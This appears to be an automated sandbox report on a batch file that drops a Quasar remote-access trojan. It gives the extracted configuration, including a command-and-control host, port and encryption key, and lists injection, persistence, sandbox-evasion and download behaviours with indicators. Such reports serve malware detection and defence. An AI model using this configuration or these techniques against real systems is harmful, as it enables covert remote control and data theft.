quasar | aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67

Analysis

max time kernel
300s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 19:02

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General

Target

Fix.bat
Size

621B
MD5

e235e723f57a72ef725306c3e14d4726
SHA1

9b2153053f8e89c300e32da5df32e9b990594aac
SHA256

aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
SHA512

0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e

Score

10^/10

quasar rpad discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RPad

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-okPqrmZ8kNVUcS4Rp0

Attributes

encryption_key
XmcBnPuLlN1e8SHIRR1z
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe	family_quasar
behavioral2/memory/2604-27-0x00000000004C0000-0x000000000052C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 1592 created 612	1592	powershell.EXE	winlogon.exe
PID 4668 created 612	4668	powershell.EXE	winlogon.exe
PID 4472 created 612	4472	powershell.EXE	winlogon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4956 powershell.exe
Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe

Executes dropped EXE 5 IoCs

Processes:

BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exe

pid process

2604 BoostBot.exe
4568 $sxr-powershell.exe
3448 install.exe
840 install.exe
4912 install.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

2588 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

16 raw.githubusercontent.com
22 raw.githubusercontent.com
15 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 ip-api.com

pid	process
2604	BoostBot.exe
4568	$sxr-powershell.exe
3448	install.exe
840	install.exe
4912	install.exe

pid	process
2588	icacls.exe

flow	ioc
16	raw.githubusercontent.com
22	raw.githubusercontent.com
15	raw.githubusercontent.com

flow	ioc
11	ip-api.com

Drops file in System32 directory 13 IoCs

Processes:

svchost.exepowershell.EXEpowershell.EXEsvchost.exesvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77$sxr-powershell.exe	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 1592 set thread context of 3368	1592	powershell.EXE	dllhost.exe
PID 4668 set thread context of 220	4668	powershell.EXE	dllhost.exe
PID 4472 set thread context of 2216	4472	powershell.EXE	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exe

pid process

3056 schtasks.exe
2912 SCHTASKS.exe
4924 schtasks.exe
2456 SCHTASKS.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
3056	schtasks.exe
2912	SCHTASKS.exe
4924	schtasks.exe
2456	SCHTASKS.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715540666"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4676 PING.EXE

pid	process
4676	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exe

pid	process
4956	powershell.exe
4956	powershell.exe
1592	powershell.EXE
1592	powershell.EXE
4668	powershell.EXE
4668	powershell.EXE
1592	powershell.EXE
3368	dllhost.exe
3368	dllhost.exe
3368	dllhost.exe
3368	dllhost.exe
4668	powershell.EXE
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
4568	$sxr-powershell.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe
220	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	2604	BoostBot.exe
Token: SeDebugPrivilege	4568	$sxr-powershell.exe
Token: SeDebugPrivilege	1592	powershell.EXE
Token: SeDebugPrivilege	4668	powershell.EXE
Token: SeDebugPrivilege	1592	powershell.EXE
Token: SeDebugPrivilege	3368	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

4568 $sxr-powershell.exe
4620 Conhost.exe

pid	process
4568	$sxr-powershell.exe
4620	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2488 wrote to memory of 2576	2488	cmd.exe	certutil.exe
PID 2488 wrote to memory of 2576	2488	cmd.exe	certutil.exe
PID 2488 wrote to memory of 4956	2488	cmd.exe	powershell.exe
PID 2488 wrote to memory of 4956	2488	cmd.exe	powershell.exe
PID 4956 wrote to memory of 2604	4956	powershell.exe	BoostBot.exe
PID 4956 wrote to memory of 2604	4956	powershell.exe	BoostBot.exe
PID 4956 wrote to memory of 2604	4956	powershell.exe	BoostBot.exe
PID 2488 wrote to memory of 2588	2488	cmd.exe	icacls.exe
PID 2488 wrote to memory of 2588	2488	cmd.exe	icacls.exe
PID 2488 wrote to memory of 4196	2488	cmd.exe	reg.exe
PID 2488 wrote to memory of 4196	2488	cmd.exe	reg.exe
PID 2488 wrote to memory of 1060	2488	cmd.exe	attrib.exe
PID 2488 wrote to memory of 1060	2488	cmd.exe	attrib.exe
PID 2604 wrote to memory of 4924	2604	BoostBot.exe	schtasks.exe
PID 2604 wrote to memory of 4924	2604	BoostBot.exe	schtasks.exe
PID 2604 wrote to memory of 4924	2604	BoostBot.exe	schtasks.exe
PID 2604 wrote to memory of 4568	2604	BoostBot.exe	$sxr-powershell.exe
PID 2604 wrote to memory of 4568	2604	BoostBot.exe	$sxr-powershell.exe
PID 2604 wrote to memory of 4568	2604	BoostBot.exe	$sxr-powershell.exe
PID 2604 wrote to memory of 3448	2604	BoostBot.exe	install.exe
PID 2604 wrote to memory of 3448	2604	BoostBot.exe	install.exe
PID 2604 wrote to memory of 3448	2604	BoostBot.exe	install.exe
PID 2604 wrote to memory of 2456	2604	BoostBot.exe	SCHTASKS.exe
PID 2604 wrote to memory of 2456	2604	BoostBot.exe	SCHTASKS.exe
PID 2604 wrote to memory of 2456	2604	BoostBot.exe	SCHTASKS.exe
PID 4568 wrote to memory of 3056	4568	$sxr-powershell.exe	schtasks.exe
PID 4568 wrote to memory of 3056	4568	$sxr-powershell.exe	schtasks.exe
PID 4568 wrote to memory of 3056	4568	$sxr-powershell.exe	schtasks.exe
PID 4568 wrote to memory of 840	4568	$sxr-powershell.exe	install.exe
PID 4568 wrote to memory of 840	4568	$sxr-powershell.exe	install.exe
PID 4568 wrote to memory of 840	4568	$sxr-powershell.exe	install.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 1592 wrote to memory of 3368	1592	powershell.EXE	dllhost.exe
PID 3368 wrote to memory of 612	3368	dllhost.exe	winlogon.exe
PID 3368 wrote to memory of 672	3368	dllhost.exe	lsass.exe
PID 3368 wrote to memory of 952	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 336	3368	dllhost.exe	dwm.exe
PID 3368 wrote to memory of 416	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 656	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 868	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1040	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1088	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1200	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1216	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1356	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1368	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1384	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1392	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1400	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1556	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1580	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1644	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1700	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1788	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1884	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1904	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1912	3368	dllhost.exe	svchost.exe
PID 3368 wrote to memory of 1956	3368	dllhost.exe	svchost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

1060 attrib.exe

pid	process
1060	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:336

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6b98a3ba-0d63-4db8-9e82-cfbfc2d04a29}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3368

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4f57131d-acf6-435e-87cc-dc93f44808b6}
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:220

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e2e4e52d-949c-4bf7-9b33-b012809df131}
2⤵
PID:2216

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

